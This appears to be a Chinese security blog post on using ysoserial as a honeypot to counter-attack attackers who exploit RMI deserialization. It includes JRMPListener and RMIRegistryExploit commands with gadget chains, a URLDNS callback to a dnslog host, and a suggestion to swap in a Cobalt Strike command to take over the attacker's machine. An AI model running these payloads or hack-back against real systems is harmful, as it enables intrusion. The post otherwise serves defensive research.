Part1 前言
大家好,我是ABC_123。最近我一直在更新蓝队分析取证工具箱中的溯源反制功能,为此阅读了大量相关的技术文章。今天查阅了一下Java反序列化漏洞利用中常用的工具ysoserial,发现网上一些文章也对其反制方法进行了研究,今天写文章把复现过程和payload分享给大家。
以往蓝队溯源反制文章回顾:
《第120篇:蓝队溯源之蚁剑、sqlmap、Goby反制方法的复现与分析》
《第125篇:蓝队溯源之burpsuite、zap、AWVS、xray扫描器反制方法与复现》
Part2 技术研究过程
-
使用ysoserial工具搭建蜜罐服务器
该方法源于公众号"赛博回忆录"的“白白白”中讲解的,大致原理是可以使用ysoserial工具布置一个蜜罐服务,一旦攻击者使用rmi反序列化漏洞去攻击RMI服务,那么攻击者的电脑就会被反打。大致流程如下:受害者在vps上搭建一个JRMPListener,上面的1099端口绑定了一个恶意对象,比如执行弹计算器calc.exe命令。攻击者此时通过RMIRegistryExploit对1099端口进行了RMI反序列化漏洞的利用,此时RMIRegistryExploit会收到受害者JRMPListener提供的恶意的gadget对象,攻击者对此对象进行反序列化,从而触发代码执行弹出calc.exe计算器,攻击者自己打了自己。
接下来测试一下:首先选一个大家最常用的利用链,比如CommonsCollectionsK1、CommonsBeanutilsShiro183等。
java -cp ysoserial-1.7.jar ysoserial.exploit.JRMPListener 1099
CommonsCollectionsK1 calc.exe
接下来使用ysoserial的ysoserial.exploit.RMIRegistryExploit模块对此1099端口的RMI服务进行漏洞利用,发现攻击者的电脑弹出计算器来,我们也可以换成CS上线的命令,反控攻击者的电脑。
java -cp ysoserial-1.7.jar ysoserial.exploit.RMIRegistryExploit 192.168.237.1
1099 CommonsCollectionsK1 whoami
或者使用一个RMI反序列化漏洞利用工具进行利用,点击Connect按钮,就会触发弹出计算器。
如果我们不知道攻击者使用的RMI工具中内置哪些可用的利用链jar包,那么可以使用URLDNS这种大多数JDK都自带的利用链去获取攻击者的源IP,具体操作如下:
java -cp ysoserial-1.7.jar ysoserial.exploit.JRMPListener 1099
URLDNS http://www.attacker33333.jyokk0.dnslog.cn
接下来使用attackRMI工具测试一下,发现我们的DNSLog服务成功收到的请求。
接下来使用另一款RMI漏洞利用工具测试一下,发现DNSLog服务同样成功收到了DNS请求。
-
ysoserial的gadget泄露攻击者计算机路径
这个是之前的同事“回忆飘如雪”发现的,是ysoserial的gadget中的BeanShell1利用链存在的问题,其生成的序列化文件会包含攻击者的计算机路径,计算机路径中有计算机名。因此当攻击者使用BeanShell1这个利用链来打java反序列化漏洞的时候,会在数据包中泄露计算机ID名,从而泄露真实身份。
Part3 总结
1. 这篇文章分享的ysoserial蓝队溯源反制方法,至今仍然具有可行性和实战性,大家可以测试研究下。
2. 为便于交流蓝队技术与完善蓝队分析取证工具箱,现已建立微信群“希水涵-蓝队分析技术交流群”,可关注公众号并回复“加群”获取入群二维码,也可用如下加群方式。期待你的加入!
原文始发于微信公众号(希潭实验室):第126篇:蓝队溯源3之使用ysoserial反序列化利用工具搭建蜜罐
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论